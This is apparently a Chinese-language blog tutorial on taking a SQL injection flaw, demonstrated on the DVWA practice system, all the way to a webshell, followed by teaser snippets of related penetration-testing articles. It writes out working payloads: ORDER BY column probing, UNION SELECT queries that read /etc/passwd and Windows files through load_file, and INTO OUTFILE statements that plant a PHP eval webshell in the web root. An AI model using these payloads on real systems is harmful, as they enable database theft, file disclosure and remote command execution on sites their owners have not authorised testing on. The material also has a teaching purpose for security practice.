**:
這篇文章談論簡單的技術,利用sql注入(sqli)漏洞,並獲得乙個webshell,所有的演示都是用dvwa(滲透測試演練系統).對於sql注入利用,有以下幾個基本步驟:
1,發現sql注入點;
2,通過mysql資料庫幫助,進一步進行注入,獲取帳號密碼等敏感資訊;
3,上傳webshell,獲得乙個反向連線。
1.發現sql注入點
識別sql注入是關鍵的一步,它需要大量的技能和經驗來確定注入點。通過適當的分析應用程式,可以判斷什麼地方存在注入點。在下面的螢幕截圖所示,「id」欄位中可能會受到sql注入。程式功能需要乙個整數做為使用者輸入,提交之後會顯示該id對應的姓名。
當我們在使用者id中加乙個單引號(『),會看到產生了資料庫的報錯,本次演示使用的是mysql資料庫。
之所以產生錯誤是因為,輸入的使用者id中,單引號不是乙個整數型別的,導致後端sql查詢產生了錯誤,可以想象一下後端sql查詢語句大概是這樣:
mysql>select first_name,last_name from users where user_id=」;
如果輸入變成了非整數型別的單引號,sql語句就會變成如下:
mysql> select first_name, last_name from users where user_id=」』 ;
因此,產生了乙個語法錯誤,所以注入點被確定為id欄位。前端的該語句是會在後端的sql伺服器進行執行的,這將使sql注入變為可能。
2,通過mysql資料庫幫助,進一步進行注入,獲取帳號密碼等敏感資訊;
進一步嘗試猜測後端查詢語句,從而獲取mysql版本、資料庫名稱、列數等,通過前端的報錯等我們猜測後端的查詢語句是這樣的:
mysql>select first_name,last_name for user where user_id=1;
以上只是胡亂猜測,我們需要通過mysql語句更進一步的進行測試,開始使用order by 。order by 語句可以對查詢結果進行排列,上面的語句中有兩列,使用order by 語句可以按照第一列first_name或者第二列last_name對結果進行排列。假如我們想根據第三列對結果進行排序,因為查詢語句中不存在第三列,就會產生報錯:
當我們使用order by 2的時候沒有產生任何錯誤,而使用order by 3的時候產生報錯,說明資料庫中只有兩列;通過這種方法我們可以使用order by語句猜測資料庫表中的列數。
user id輸入』 order by 3+–+的時候,後端sql查詢語句如下:
mysql>select first_name,last_name from user where user_id=」order by 3+- -+』
可以看到因為不存在第三列會產生報錯。
user id輸入』order by 2+–+的時候,後端查詢語句如下:
mysql>select first_name,last_name from user where user_id=」order by 2+- -+』
可以看到沒有產生任何錯誤。
接下來進一步使用union查詢語句
為什麼要使用聯合查詢?
union查詢結合了兩個select查詢結果,根據上文中的order by語句我們知道查詢包含兩列,為了能夠現實兩列查詢結果,我們需要用union查詢了結合我們構造的另外乙個select.注意在使用union查詢的時候需要和主查詢的列數相同。
mysql> select first_name, last_name from users where user_id=」union select 1,2 ;
使用union select之後可以看到查詢結果顯示在了頁面上.
繼續構造union select語句,來查詢正在使用中的使用者和資料庫,用以下語句
『union select 1,version()+- -+查詢資料庫的版本。
使用聯合查詢語句構造,利用注入讀取/ect/passwd 檔案(linux系統)
『union select 1, load_file(/etc/passwd) +- -+
使用聯合查詢語句構造,利用注入讀取c:\1.txt (windows系統)
『union select 1, load_file(『c:\\1.txt』) +- -+ 或者
3.利用sql注入寫入webshell
假設我們通過phpinfo檔案知道了**的物理路徑,接下來我們通過使用union select語句來寫入webshell.寫入需要你有寫入許可權等。
『 union select 1,』<?php eval($_post[cmd]);?>『 into outfile 『/var/www/dvwa/cmd.php』 +- -+
『 union select 1,』<?php eval($_post[cmd]);?>』 into outfile 『c:\\2.php』+- -+
本文中用到的dvwa(滲透測試演練系統): 帳號密碼: admin password, 暫時因為環境不支援sql injection漏洞的演練。
從SQL注入到getshell
mysql資料庫getshell條件是很苛刻的,必須滿足以下幾個條件 1 必須知道 的絕對路徑 2 要有file許可權,預設情況下只有root有,也就是dba為true 3 php的魔術引號 magic quotes gpc 沒有開啟 4 mysql的secure file priv變數的值為空 e...
從SQL注入到內網漫遊
在一次滲透實戰中,發現了乙個注入點,最後成功的漫遊了內網。在滲透中遇到乙個站點,順手測試了一下,在搜尋框隨便輸入了乙個字元加個單引號直接報錯了,差不多可以確認這裡存在注入了。一般這種站安全性極差,測試了下其他地方,在乙個登入框處又發現乙個注入。直接丟到sqlmap裡面跑就行了。這裡就不重新跑了,貼s...
從SQL注入到進入伺服器
攻擊機ip 192.168.1.3 靶機ip 192.168.1.6 首先,我們使用dirb命令和nmap進行掃瞄發現了以該ip為url的 仔細搜尋該頁面發現個admin欄,點選發現了乙個登陸頁面 然後我們使用owasp zap掃瞄器掃瞄該 那麼我們開始掃瞄這個 吧!發現如下漏洞 既然存在sql注入...